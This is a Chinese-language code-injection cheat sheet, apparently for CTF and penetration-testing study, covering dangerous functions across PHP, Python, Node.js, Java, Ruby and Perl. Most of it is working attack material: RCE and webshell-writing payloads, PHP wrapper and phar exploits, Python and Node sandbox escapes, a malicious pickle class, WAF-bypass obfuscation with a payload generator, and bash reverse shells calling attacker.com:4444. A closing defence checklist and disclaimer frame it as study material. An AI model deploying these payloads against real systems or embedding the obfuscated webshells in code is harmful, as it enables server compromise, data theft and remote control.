梳理代码注入(Code Injection)漏洞的成因、各语言危险函数、利用技巧与 WAF 绕过方法。
一、代码注入概述与原理
1.1 定义
代码注入(Code Injection)是指攻击者将恶意代码片段注入到应用程序中,使其被语言解释器(PHP、Python、JS 等)当作合法代码执行,从而获得任意代码执行能力。
与命令注入的区别:
| 类型 | 执行层 | 载体 | 示例危险函数 |
|---|---|---|---|
| 代码注入 | 语言解释器 | PHP/Python/JS 代码 | eval(), exec(), assert() |
| 命令注入 | 操作系统 Shell | Shell 命令 | system(), popen(), exec() |
实际场景中两者常常相互转化:代码注入中可调用系统函数,命令注入的后果也可导致代码执行。
1.2 成因分析
用户输入 → 未经净化/验证 → 拼接为代码字符串 → 解释器执行
核心成因:
- 将用户可控数据传入
eval()、assert()等动态执行函数 - 模板引擎未沙箱隔离,用户输入直接参与模板渲染
- 正则替换开启
/e修饰符(PHP 旧版本) - 动态
require/include使用用户输入决定路径和内容 - 反序列化时触发
__wakeup/__destruct中的代码执行
1.3 危害等级
| 危害类型 | 说明 | 危害等级 |
|---|---|---|
| 任意代码执行 (RCE) | 在服务器上执行任意代码 | 🔴 严重 |
| 任意文件读取 | 读取服务器敏感文件 | 🔴 严重 |
| 任意文件写入 | 写入 WebShell 或篡改文件 | 🔴 严重 |
| 信息泄露 | 获取配置、密钥、数据库凭证 | 🟠 高 |
| 权限提升 | 以服务器权限横向移动 | 🔴 严重 |
二、PHP 代码注入
2.1 危险函数全览
直接代码执行类
| 函数 | 说明 | PHP 版本 | 风险等级 |
|---|---|---|---|
eval(string $code) |
将字符串作为 PHP 代码执行 | 全版本 | 🔴 严重 |
assert(mixed $assertion) |
PHP<8 中字符串参数被当作代码执行 | <8.0 | 🔴 严重 |
preg_replace('/pattern/e', $replacement, $subject) |
替换字符串中作为 PHP 代码执行(已废弃) | <7.0 | 🔴 严重 |
create_function(string $args, string $code) |
创建匿名函数(已废弃) | <8.0 | 🔴 严重 |
call_user_func(callable $fn, ...$args) |
调用任意可调用对象 | 全版本 | 🔴 严重 |
call_user_func_array(callable $fn, array $args) |
带参数数组的回调调用 | 全版本 | 🔴 严重 |
array_map(callable $fn, array $arr) |
对数组每个元素执行回调 | 全版本 | 🔴 严重 |
array_filter(array $arr, callable $fn) |
过滤数组时执行回调 | 全版本 | 🔴 严重 |
array_walk(array &$arr, callable $fn) |
遍历数组执行回调 | 全版本 | 🔴 严重 |
usort(array &$arr, callable $fn) |
自定义排序回调 | 全版本 | 🔴 严重 |
uasort / uksort |
同 usort | 全版本 | 🔴 严重 |
动态包含类(可触发代码执行)
| 函数 | 说明 | 风险等级 |
|---|---|---|
include($file) |
包含并执行 PHP 文件 | 🔴 严重 |
include_once($file) |
同 include,但只包含一次 | 🔴 严重 |
require($file) |
包含文件,失败则致命错误 | 🔴 严重 |
require_once($file) |
同 require,但只包含一次 | 🔴 严重 |
序列化/反序列化类
| 函数 | 说明 | 风险等级 |
|---|---|---|
unserialize(string $data) |
反序列化用户数据可触发魔术方法 | 🔴 严重 |
json_decode() |
配合对象注入 | 🟡 中 |
2.2 eval 注入利用
基础利用
// 危险代码示例
$code = $_GET['code'];
eval($code);
// 攻击 Payload(直接 RCE)
?code=system('id');
?code=phpinfo();
?code=echo shell_exec('whoami');
// 攻击 Payload(写 WebShell)
?code=file_put_contents('/var/www/html/shell.php','<?php @eval($_POST[cmd]);?>');
// 攻击 Payload(读取敏感文件)
?code=echo file_get_contents('/etc/passwd');
?code=var_dump(scandir('/'));
上下文拼接场景
// 场景1:字符串拼接(需闭合引号)
$name = $_GET['name'];
eval("echo 'Hello, $name!';");
// 攻击:?name=';system('id');//
// 实际执行:echo 'Hello, ';system('id');//!';
// 场景2:双引号拼接(需利用变量解析)
eval("echo \"Hello, $name\";");
// 攻击:?name=${system('id')}
// 注意:PHP 双引号内 ${...} 执行变量解析
// 场景3:带前缀的代码执行
$action = $_GET['action'];
eval("do_{$action}();");
// 攻击:?action=nothing');system('id');//
// 实际执行:do_nothing');system('id');//();
绕过过滤的 eval Payload
// 过滤了 system、exec 等关键字
// 方法1:字符串拼接
$f = 'sys'.'tem'; $f('id');
// 方法2:base64 解码
eval(base64_decode('c3lzdGVtKCdpZCcp'));
// base64_decode('c3lzdGVtKCdpZCcp') = system('id')
// 方法3:字符转义
eval("\x73\x79\x73\x74\x65\x6d\x28\x27\x69\x64\x27\x29");
// \x73\x79\x73\x74\x65\x6d = system
// 方法4:ROT13
// str_rot13('flfgrz')='system'
eval(str_rot13('flfgrz("vq")'));
// 方法5:可变变量
$a = 'assert'; $a($_POST['x']);
$$a = 'system'; // 动态变量名
// 方法6:反引号执行(赋值给 eval 内)
eval('echo `id`;');
// 方法7:利用 PHP 内置类
eval('$o = new SplFileObject("/etc/passwd"); echo $o->fread($o->getSize());');
2.3 动态函数调用注入
call_user_func 系列
// 危险代码
$func = $_GET['func'];
$arg = $_GET['arg'];
call_user_func($func, $arg);
// 攻击 Payload
?func=system&arg=id
?func=passthru&arg=id
?func=assert&arg=system('id')
?func=file_get_contents&arg=/etc/passwd
// call_user_func_array
call_user_func_array($_GET['func'], [$_GET['arg']]);
?func=system&arg=id
数组回调注入
// 危险代码(array_map)
$arr = $_POST['data']; // ['1','2','3']
$func = $_POST['func']; // 'system'
array_map($func, $arr);
// 攻击:func=system&data[]=id
// usort 回调注入
usort($_POST['arr'], $_POST['func']);
// 攻击:func=system&arr[]=id&arr[]=id
// 或使用:func=assert&arr[]='system("id")'
// array_filter
array_filter(['id'], $_GET['func']);
// 攻击:?func=system
变量函数(Variable Function)
// PHP 特性:变量内容为函数名时可直接调用
$func = $_GET['func'];
$func(); // 攻击:?func=phpinfo 或 ?func=system → 再需要参数的场景
// 带参数场景
$func = $_GET['func'];
$arg = $_GET['arg'];
$func($arg); // 攻击:?func=system&arg=id
2.4 PHP 伪协议利用
PHP 伪协议在文件包含漏洞中可触发代码执行:
php://input(读取 POST 原始数据)
// 危险代码
include($_GET['file']);
// 攻击:GET: ?file=php://input
// POST Body: <?php system('id'); ?>
// 注意:需要 allow_url_include = On
php://filter(读取源码 / 绕过死亡 exit)
// 读取 PHP 源码(Base64 编码避免被执行)
?file=php://filter/convert.base64-encode/resource=index.php
// 返回 Base64 编码的 index.php 源码
// 读取敏感配置
?file=php://filter/convert.base64-encode/resource=/etc/passwd
// 链式过滤器(绕过死亡代码)
// 目标文件会写入 <?php exit; ?> 前缀,使 Webshell 失效
// 利用 base64 解码特性绕过:
// base64 中 <?php exit;?> 解码后为乱码,真正的 Payload 正常执行
?file=php://filter/write=convert.base64-decode/resource=shell.php
// POST: PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8+
// (解码后写入:<?php @eval($_POST[cmd]);?>)
// 更多 filter 链
php://filter/read=string.rot13/resource=index.php
php://filter/read=convert.iconv.UTF-8.UTF-16/resource=index.php
// 利用 filter 链 RCE(无需文件写入,PHP 8.0 以下)
// 通过串联多个 filter 转换,将任意字符串变形为可执行 PHP 代码
php://filter/convert.iconv.UTF-8.CSISO2022KR|convert.base64-encode|...|/resource=/dev/null
data:// URI(直接执行代码)
// 需要 allow_url_include = On
?file=data://text/plain,<?php system('id'); ?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+
// ↑ base64: <?php system('id');?>
// URL 编码版本(绕过部分过滤)
?file=data:text/plain,%3c%3fphp+system(%27id%27)%3b%3f%3e
phar://(反序列化触发代码执行)
// 1. 构造含恶意序列化对象的 phar 文件
<?php
class EvilClass {
function __destruct() { system($this->cmd); }
}
$phar = new Phar('evil.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$obj = new EvilClass();
$obj->cmd = 'id';
$phar->setMetadata($obj);
$phar->stopBuffering();
?>
// 2. 上传 evil.phar 后包含
?file=phar:///var/www/html/uploads/evil.phar/test.txt
// 触发 __destruct → system('id')
// 3. phar:// 配合文件操作函数
// file_exists / filetime / filesize 等也会触发 phar 反序列化
file_exists('phar:///var/www/html/uploads/evil.jpg'); // 伪装成图片
zip:// / zlib:// / bzip2://
// zip:// 包含 ZIP 内的 PHP 文件
?file=zip:///var/www/html/uploads/shell.zip%23shell.php
// 或
?file=zip:///tmp/shell.zip#shell.php
// 构造 zip 文件(将 shell.php 压缩为 zip)
// shell.php 内容: <?php system($_GET['cmd']); ?>
// glob:// 目录枚举(信息收集)
?file=glob:///var/www/html/*.php // 列举所有 PHP 文件
伪协议支持条件汇总
| 伪协议 | 需要 allow_url_fopen | 需要 allow_url_include | 主要用途 |
|---|---|---|---|
php://input |
OFF | ON | POST 数据作为代码执行 |
php://filter |
OFF | OFF | 源码读取、绕过 exit |
data:// |
OFF | ON | 内联数据执行代码 |
phar:// |
OFF | OFF | 反序列化触发 |
zip:// |
OFF | OFF | 包含 ZIP 内文件 |
http:// |
ON | ON | 远程文件包含 |
file:// |
OFF | OFF | 本地文件包含 |
2.5 preg_replace /e 注入
PHP 5.x 时代的漏洞,/e 修饰符使替换字符串作为 PHP 代码执行(PHP 7.0 已废弃):
// 危险代码
$input = $_GET['input'];
preg_replace('/<div>(.*?)<\/div>/e', $input, '<div>test</div>');
// 攻击:?input=system('id')
// preg_replace 会将 $input 作为代码执行
// 另一种写法
preg_replace('/' . $_GET['pattern'] . '/e', $_GET['replace'], 'test');
// 攻击:?pattern=(.*)&replace=system('id')
// 更隐蔽的场景(模式可控)
preg_replace("/{$_GET['key']}/e", $_GET['value'], $string);
// 攻击:?key=.*&value=system('id')
三、Python 代码注入
3.1 eval / exec 注入
危险函数
| 函数 | 说明 | 风险等级 |
|---|---|---|
eval(expression) |
执行字符串表达式,返回结果 | 🔴 严重 |
exec(object) |
执行字符串或代码对象,无返回值 | 🔴 严重 |
compile(source, filename, mode) |
编译代码为字节码后可执行 | 🔴 严重 |
__import__(name) |
动态导入模块 | 🔴 严重 |
input() |
Python 2 中等价于 eval(raw_input()) | 🔴 严重(Py2) |
subprocess.* |
执行子进程 | 🟡 高 |
os.system() |
执行 Shell 命令 | 🟡 高 |
os.popen() |
打开管道执行命令 | 🟡 高 |
pickle.loads() |
反序列化可执行任意代码 | 🔴 严重 |
yaml.load() |
不安全的 YAML 加载 | 🔴 严重 |
eval / exec 利用
# 危险代码
user_input = input("Enter expression: ")
result = eval(user_input)
# 攻击 Payload
__import__('os').system('id')
__import__('os').popen('id').read()
__import__('subprocess').check_output(['id'])
# 利用 builtins 执行命令
[x for x in ().__class__.__base__.__subclasses__() if x.__name__ == 'Popen'][0](['id'], stdout=-1).communicate()
# 通过 compile + exec 绕过
eval(compile("import os; os.system('id')", '<string>', 'exec'))
# 利用 breakpoint()(Python 3.7+)
eval("breakpoint()") # 进入 pdb 调试,可执行命令
沙箱逃逸(绕过 builtins 限制)
# 场景:__builtins__ 被清空或置为 None
eval_env = {'__builtins__': {}}
eval(user_input, eval_env) # 看似安全,实则可绕过
# 逃逸方法1:通过内置类型访问 builtins
() .__class__.__bases__[0].__subclasses__() # 获取所有子类
# 找到包含 os 引用的类
# 逃逸方法2:利用 __mro__ 链
''.__class__.__mro__[1].__subclasses__()
# 逃逸方法3:通过 warnings 模块
[x for x in ''.__class__.__mro__[1].__subclasses__()
if 'warning' in x.__name__][0]()._module.__builtins__
# 逃逸方法4:利用生成器的 gi_frame
[x for x in ()
.__class__
.__base__
.__subclasses__()
if x.__name__ == 'catch_warnings'
][0]()._module.__builtins__['__import__']('os').system('id')
# 通用查找 os 模块的方法
for x in ''.__class__.__mro__[-1].__subclasses__():
if hasattr(x, '__init__') and hasattr(x.__init__, '__globals__'):
if 'os' in x.__init__.__globals__:
print(x, x.__init__.__globals__['os'].system('id'))
break
# 最短 Payload(寻找 _wrap_close 类)
[ x.__init__.__globals__ for x in ''.__class__.__mro__[-1].__subclasses__()
if x.__name__ == '_wrap_close'][0]['system']('id')
Pickle 反序列化 RCE
import pickle, os, base64
# 构造恶意 Pickle 对象
class Exploit(object):
def __reduce__(self):
return (os.system, ('id > /tmp/pwned',))
# 序列化
payload = pickle.dumps(Exploit())
payload_b64 = base64.b64encode(payload).decode()
print(f"Payload (base64): {payload_b64}")
# 服务端 pickle.loads(payload) 触发 os.system('id > /tmp/pwned')
# 反弹 Shell 版本
class ReverseShell(object):
def __reduce__(self):
cmd = 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
return (os.system, (cmd,))
payload = pickle.dumps(ReverseShell())
PyYAML 不安全加载
import yaml
# 危险写法(yaml.load 不指定 Loader)
data = yaml.load(user_input) # 旧版本危险
data = yaml.load(user_input, Loader=yaml.Loader) # 不安全
# 安全写法
data = yaml.safe_load(user_input)
data = yaml.load(user_input, Loader=yaml.SafeLoader)
# 攻击 Payload(PyYAML RCE)
!!python/object/apply:os.system ['id']
!!python/object/apply:subprocess.check_output [['id']]
# 更复杂的 Payload
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "import os; os.system('id')"
3.2 SSTI 代码执行
Python 常见 SSTI 见专项模板注入文档,此处补充核心利用链:
# Jinja2 标准 RCE Payload
{{''.__class__.__mro__[1].__subclasses__()[XXX]('id',shell=True,stdout=-1).communicate()}}
# 自动查找 Popen 类索引的脚本
import requests
url = "http://target.com/render?name="
for i in range(500):
payload = "{{''.__class__.__mro__[1].__subclasses__()[" + str(i) + "].__name__}}"
r = requests.get(url + payload)
if 'Popen' in r.text:
print(f"[+] Popen index: {i}")
break
# 找到索引后执行命令
payload = "{{''.__class__.__mro__[1].__subclasses__()[273](['id'],stdout=-1).communicate()}}"
四、JavaScript / Node.js 代码注入
4.1 危险函数
| 函数/方法 | 说明 | 风险等级 |
|---|---|---|
eval(string) |
执行字符串代码 | 🔴 严重 |
Function(string) |
创建函数对象执行代码 | 🔴 严重 |
setTimeout(string, n) |
字符串参数被执行 | 🔴 严重 |
setInterval(string, n) |
字符串参数被执行 | 🔴 严重 |
vm.runInNewContext(code) |
VM 模块执行代码 | 🔴 严重 |
child_process.exec(cmd) |
执行 Shell 命令 | 🔴 严重 |
child_process.execSync(cmd) |
同步执行 Shell 命令 | 🔴 严重 |
child_process.spawn(cmd) |
创建子进程 | 🟡 高 |
4.2 利用技巧
eval 注入
// 危险代码
const result = eval(req.query.code);
res.send(result);
// 攻击 Payload
?code=require('child_process').execSync('id').toString()
?code=require('fs').readFileSync('/etc/passwd').toString()
?code=require('child_process').execSync('cat /flag').toString()
// 带 JSON 的场景
const obj = eval('(' + req.body.json + ')');
// 攻击:{"a": (function(){return require('child_process').execSync('id').toString()})()}
Function 构造器注入
// 用 Function 绕过某些对 eval 的限制
const func = new Function(req.query.code);
func();
// 攻击:?code=return require('child_process').execSync('id').toString()
// 箭头函数变体
const fn = new Function('return ' + req.query.expr);
fn();
// 攻击:?expr=require('child_process').execSync('id').toString()
Node.js VM 沙箱逃逸
// 危险代码(看似安全的 vm 沙箱)
const vm = require('vm');
const sandbox = { result: null };
vm.createContext(sandbox);
vm.runInContext(req.query.code, sandbox);
// 沙箱逃逸 Payload
// 通过 constructor 链访问宿主环境
this.constructor.constructor('return process')().exit()
// 获取 require(Node.js 沙箱逃逸)
(function(){
return this.constructor.constructor('return process.mainModule.require("child_process")')()
.execSync('id').toString()
})()
// 利用 Buffer 逃逸
const {exec} = this.constructor.constructor('return process.binding("buffer")')()
.Buffer.from.constructor('return this')().require('child_process')
原型链污染到 RCE
// 通过原型链污染影响 child_process 选项
// 污染 Object.prototype
Object.prototype.shell = true;
Object.prototype.env = { NODE_OPTIONS: '--require /tmp/evil.js' };
// 下次调用 execSync 时使用被污染的 options
require('child_process').execSync('id'); // 加载 /tmp/evil.js
五、其他语言代码注入
5.1 Java 代码注入
// 危险:使用反射调用用户控制的方法
String className = request.getParameter("class");
String methodName = request.getParameter("method");
Class<?> cls = Class.forName(className);
Method method = cls.getMethod(methodName);
method.invoke(null);
// 攻击:?class=java.lang.Runtime&method=getRuntime → 获取 Runtime 实例
// Groovy ScriptEngine 注入
ScriptEngine engine = new ScriptEngineManager().getEngineByName("groovy");
engine.eval(request.getParameter("script"));
// 攻击:?script="id".execute().text
// 表达式注入(SpEL)
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(request.getParameter("expr"));
// 攻击:?expr=T(java.lang.Runtime).getRuntime().exec('id')
// OGNL 注入(Struts2 等框架)
// 攻击:%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"id"})).start(),...}
5.2 Ruby 代码注入
# 危险函数
eval(user_input) # 直接代码执行
send(method_name, args) # 动态方法调用
# 内核方法(执行 Shell 命令)
`id` # 反引号
system("id")
exec("id")
%x{id} # 等价于反引号
IO.popen("id")
open("|id") # open 管道写法
# 攻击 Payload(eval 注入)
`id`
system("id")
exec("bash -i >& /dev/tcp/attacker.com/4444 0>&1")
require 'open3'; Open3.capture2e("id")[0]
5.3 Perl 代码注入
# 危险函数
eval($user_input); # 直接代码执行
system($cmd); # Shell 命令执行
`$cmd`; # 反引号
# 攻击 Payload
system("id");
`id`;
open(FH, "id |"); while(<FH>){print;}
六、代码注入 WAF 绕过
6.1 PHP eval 过滤绕过
关键字分割
// 过滤了 system、exec 等
// 方法1:字符串拼接
('sys'.'tem')('id');
$f='sys'.'tem'; $f('id');
// 方法2:数组取字符
$_='';
$_[++'Hello']... // 逐字符构造
// 方法3:利用异或/取反构造字符串(经典 PHP 无字母数字 Payload)
// 异或法:两个非字母字符异或得到字母
$_=('%01'^'`').('%13'^'`').('%19'^'`').('%05'^'`').('%12'^'`').('%05'^'`'); // assert
PHP 无字母数字 WebShell(经典技巧)
// 利用异或/取反/自增构造任意函数名
// 方法1:取反(~)
// ~chr(x) 得到另一个字符,两次取反回原值
(~"\x8c\x86\x8c\x8b\x9a\x92")(~"\x93\x8c") // system('id')
// 方法2:异或(^)
// 'a'^'!' = 'A' 等
$__=('%61'^'%04'); // 'a' ^ 非打印字符
// 方法3:自增
// PHP 字符串自增:'a'++ = 'b', 'z'++ = 'aa'
$_='a'; for($i=0;$i<17;$i++){ echo ++$_.' '; }
// 依次得到:b c d e f g h i j k l m n o p q r
// 完整示例(构造 phpinfo)
$___=_; $_=$$___; // 等价于 $_ = $_
// 通过 POST/GET 参数传入函数名和参数
// 方法4:利用 POST 参数绕过(不写死 Payload)
// ?a=system POST:b=id
$_POST['a']($_POST['b']);
6.2 编码绕过
// Base64 解码执行
eval(base64_decode('c3lzdGVtKCdpZCcp'));
// Hex 解码执行
eval(hex2bin('73797374656d2827696427293b'));
// Gzip + Base64
eval(gzinflate(base64_decode('...')));
eval(gzuncompress(base64_decode('...')));
// ROT13
eval(str_rot13('flfgrz("vq")'));
// URL 解码
eval(urldecode('%73%79%73%74%65%6d%28%27%69%64%27%29'));
// 多重编码嵌套
eval(base64_decode(strrev('KSdpZCcobWV0c3lz')));
6.3 利用 PHP 特性构造执行
// 利用异常处理
try { throw new Exception(system('id')); } catch(Exception $e) {}
// 利用 preg_replace_callback
preg_replace_callback('/(.+)/i', function($m){ system($m[1]); }, 'id');
// 利用 array_reduce
array_reduce(['id'], 'system', '');
// 利用 ob_start 回调
ob_start('system'); echo 'id'; ob_end_flush();
// 利用 register_tick_function
register_tick_function('system', 'id'); declare(ticks=1) {}
// 利用 register_shutdown_function
register_shutdown_function('system', 'id');
6.4 WAF 绕过速查表
| 过滤目标 | 绕过方法 | 示例 |
|---|---|---|
system / exec 等关键字 |
字符串拼接 | 'sys'.'tem' |
| 字母数字黑名单 | 异或/取反/自增 | (~"\x8c\x86...") |
| 关键字过滤 | Base64 解码 | eval(base64_decode(...)) |
| 关键字过滤 | Hex 解码 | eval(hex2bin(...)) |
| 关键字过滤 | ROT13 | eval(str_rot13(...)) |
| eval 函数过滤 | 回调函数替代 | array_map / ob_start |
| 文件包含过滤 | 伪协议绕过 | php://input / data:// |
七、CTF 实战思路
7.1 代码注入快速判断
发现可能的注入点 →
├── 参数出现在 eval/assert 等函数中 → 直接代码执行
├── 文件包含路径可控 → LFI/RFI → 伪协议利用
├── 模板引擎输出 → SSTI → 模板注入
├── unserialize 可控 → PHP 反序列化 → POP 链
└── 函数名/回调可控 → 动态函数调用
7.2 常见 CTF 代码注入场景
// 场景1:eval 代码执行
$code = $_GET['code'];
eval($code);
// Payload:?code=system('cat /flag');
// 场景2:assert 注入(PHP < 8)
assert($_GET['code']);
// Payload:?code=system('id')
// 场景3:preg_replace /e(PHP < 7)
preg_replace('/(.*)/e', $_GET['r'], 'test');
// Payload:?r=system('id')
// 场景4:create_function(PHP < 8)
$f = create_function('', $_GET['code']);
$f();
// Payload:?code=system('id');
// 场景5:call_user_func 回调
call_user_func($_GET['func'], $_GET['arg']);
// Payload:?func=system&arg=cat /flag
// 场景6:include 文件包含
include($_GET['file']);
// Payload:?file=php://input(POST: <?php system('cat /flag'); ?>)
// 场景7:Pickle 反序列化(Python)
import pickle
pickle.loads(base64.b64decode(request.args.get('data')))
// Payload:构造含 __reduce__ 的 Pickle 对象
7.3 PHP 无字母数字 Payload 生成
#!/usr/bin/env python3
"""生成 PHP 无字母数字 WebShell Payload(取反法)"""
def gen_not_payload(func_name: str, arg: str) -> str:
"""生成取反法无字母数字 Payload"""
def not_encode(s: str) -> str:
result = '~"'
for c in s:
result += '\\x{:02x}'.format(~ord(c) & 0xff)
result += '"'
return result
f = not_encode(func_name)
a = not_encode(arg)
return f'({f})({a});'
# 示例
print(gen_not_payload('system', 'id'))
# 输出:(~"\x8c\x86\x8c\x8b\x9a\x92")(~"\x93\x8c");
print(gen_not_payload('phpinfo', ''))
八、防御措施
8.1 代码注入防御
// 1. 永远不要将用户输入传入 eval()、assert() 等函数
// 2. 禁用危险函数(php.ini)
disable_functions = eval,assert,preg_replace,create_function,
call_user_func,call_user_func_array,array_map,array_filter,
usort,system,exec,passthru,shell_exec,popen,proc_open
// 3. 文件包含使用白名单
$allowed_pages = ['home', 'about', 'contact'];
$page = $_GET['page'];
if (!in_array($page, $allowed_pages)) {
die('Invalid page');
}
include("pages/{$page}.php"); // 固定前缀和后缀
// 4. 关闭危险 PHP 配置
allow_url_include = Off // 禁止远程文件包含
allow_url_fopen = Off // 禁止远程文件打开(视业务需求)
// 5. 反序列化使用签名验证
$data = base64_decode($_COOKIE['session']);
$hmac = hash_hmac('sha256', $data, SECRET_KEY);
if (!hash_equals($hmac, $_COOKIE['sig'])) {
die('Tampered data');
}
$obj = unserialize($data);
// 6. 使用安全的替代方案(Python)
import ast
ast.literal_eval(user_input) # 只允许字面量,不执行代码
# 替代危险的 eval()
8.2 防御检查清单
✅ 禁止将用户输入传入 eval / exec / assert 等动态执行函数
✅ 禁止将用户输入用于 include / require 路径(使用白名单)
✅ php.ini 中配置 disable_functions 禁用危险函数
✅ 关闭 allow_url_include 防止远程文件包含
✅ 开启 open_basedir 限制文件访问范围
✅ 反序列化数据使用 HMAC 签名验证,防止篡改
✅ Python 使用 ast.literal_eval 替代 eval()
✅ Node.js 避免使用 eval / Function / vm.runInNewContext 处理用户输入
✅ 对动态函数名使用白名单验证,不允许任意函数调用
✅ 定期扫描代码中 eval / exec 等危险调用点,进行安全审计
✅ 最小权限原则:Web 进程不应以 root 运行
✅ 部署 WAF,检测代码注入特征(base64_decode + eval 组合等)
附录:Payload 速查
PHP 代码注入常用 Payload
// 直接 RCE
system('id');
passthru('id');
shell_exec('id');
`id`;
echo exec('id');
// 写 WebShell
file_put_contents('/var/www/html/shell.php','<?php @eval($_POST[cmd]);?>');
system('echo "<?php system(\$_GET[cmd]);?>" > /var/www/html/shell.php');
// 读文件
echo file_get_contents('/etc/passwd');
echo readfile('/etc/passwd');
print_r(file('/etc/passwd'));
// 列目录
var_dump(scandir('/'));
print_r(glob('/*'));
// 反弹 Shell
system('bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"');
Python 代码注入常用 Payload
# 执行命令
__import__('os').system('id')
__import__('os').popen('id').read()
__import__('subprocess').check_output('id',shell=True).decode()
# 读文件
open('/etc/passwd').read()
__import__('pathlib').Path('/flag').read_text()
# 反弹 Shell
__import__('os').system('bash -i >& /dev/tcp/attacker.com/4444 0>&1')
⚠️ 免责声明:本文档仅供 CTF 竞赛学习、安全研究及授权渗透测试使用。未经授权对任何系统进行攻击属于违法行为,请在合法合规的环境中学习与实践。